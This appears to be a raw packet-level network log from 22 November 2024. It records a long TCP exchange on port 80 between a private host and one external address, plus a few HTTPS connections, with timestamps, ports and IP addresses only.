Nov 22, 2024 00:11:51.352274895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.352276087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.352463007 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.352515936 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.352667093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.352719069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.353571892 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.353615999 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.354074955 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.354125977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.354661942 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.354832888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.354887009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.355779886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.355931997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.355971098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.356867075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.356930017 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.356990099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.357160091 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.357976913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.358093977 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.358148098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.359148026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.359193087 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.359287024 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.359344006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.360519886 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.360604048 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.360649109 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.361306906 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.361354113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.361589909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.361630917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.362382889 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.362472057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.363260031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.363456964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.363512993 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.363562107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.363776922 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.363864899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.364731073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.364893913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.364918947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.364938021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.365648031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.365777969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.365838051 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.366766930 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.366825104 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.367511988 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.367573977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.367834091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.367886066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.368165016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.368895054 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.368906021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.368946075 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.368994951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.370002031 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.370052099 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.370291948 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.370440960 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.371154070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.371398926 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.371562004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.371618032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.372164965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.372241020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.372283936 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.372622013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.373331070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.373516083 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.373564959 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.374357939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.374418020 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.374483109 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.374531031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.375505924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.375562906 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.375586987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.375672102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.376583099 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.376642942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.376746893 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.377069950 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.377726078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.377787113 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.377846956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.377886057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.378813028 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.378825903 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.378870010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.379859924 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.379905939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.380198956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.380368948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.380942106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.380978107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.380996943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.381020069 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.382247925 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.382308006 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.382616997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.383147001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.383220911 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.384310961 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.384327888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.384355068 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.384380102 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.384469032 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.384526014 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.385431051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.385493994 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.385608912 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.385656118 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.386421919 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.386476040 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.386557102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.386693001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.387535095 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.387598038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.387655973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.387810946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.388708115 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.388778925 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.389513969 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.389564991 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.389851093 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.389863968 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.389895916 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.389914989 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.391026020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.391091108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.391258001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.391350031 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.392220020 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.392270088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.392343044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.392395973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.393138885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.393198967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.393240929 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.393280983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.394123077 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.394171953 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.394356966 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.394426107 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.395199060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.395248890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.395525932 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.395565987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.396270990 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.396497965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.396541119 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.397448063 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.397526979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.397705078 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.397927046 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.398614883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.398757935 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.398838043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.398936987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.399606943 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.399619102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.399678946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.400696993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.400963068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.401177883 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.401772976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.401829004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.401947021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.402007103 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.402896881 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.402945995 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.403151989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.403198004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.403975010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.404084921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.404562950 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.404656887 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.405069113 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.405116081 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.405198097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.405244112 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.406141996 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.406267881 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.406332970 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.407278061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.407339096 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.407397985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.408373117 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.408463955 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.408564091 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.408611059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.409507036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.409571886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.441056013 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:51.441106081 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:51.441251993 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:51.452289104 CET	49861	443	192.168.2.5	4.153.57.10
Nov 22, 2024 00:11:51.452320099 CET	443	49861	4.153.57.10	192.168.2.5
Nov 22, 2024 00:11:51.539273024 CET	443	49850	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.539351940 CET	443	49850	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.539601088 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.539601088 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.539721012 CET	49850	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.539747000 CET	443	49850	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.542566061 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.542614937 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.542790890 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.542898893 CET	49862	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:51.542907953 CET	443	49862	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:51.553499937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.553575039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.553612947 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.553669930 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.554012060 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.554229975 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.554260015 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.554406881 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.554867029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.554965019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.555075884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.555176973 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.555962086 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.556027889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.556469917 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.556545019 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.557054043 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.557116985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.557184935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.557466984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.558186054 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.558275938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.558315039 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.558376074 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.559237003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.559386969 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.559639931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.559813023 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.560365915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.560376883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.560451984 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.561475992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.561583042 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.562170029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.562450886 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.562545061 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.562681913 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.562774897 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.562977076 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.563666105 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.563885927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.563991070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.564116001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.564752102 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.564899921 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.565253973 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.565386057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.565892935 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.565948963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.566128016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.566272974 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.566915035 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.567045927 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.567082882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.567163944 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.568140030 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.568279028 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.568295956 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.568458080 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.569174051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.569335938 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.569371939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.569427967 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.570301056 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.570437908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.570492983 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.570578098 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.571343899 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.571357012 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.571566105 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.572446108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.572561026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.573033094 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.573193073 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.573548079 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.573685884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.574640036 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.574651957 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.574665070 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.574763060 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.575747013 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.575766087 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.575814009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.575814009 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.576910019 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.577035904 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.577049971 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.577143908 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.577915907 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.578018904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.578645945 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.578788996 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.579062939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.579077005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.579212904 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.580116034 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.580128908 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.580327034 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.581157923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.581269026 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.581504107 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.581613064 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.582376003 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.582447052 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.582746983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.583604097 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.583767891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.583776951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.583906889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.584537029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.584645033 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.584671021 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.584739923 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.585539103 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.585673094 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.586064100 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.586193085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.586683989 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.586786985 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.587624073 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.587743044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.587754965 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.587774038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.587893963 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:51.588947058 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:51.589107990 CET	49788	80	192.168.2.5	185.215.113.206
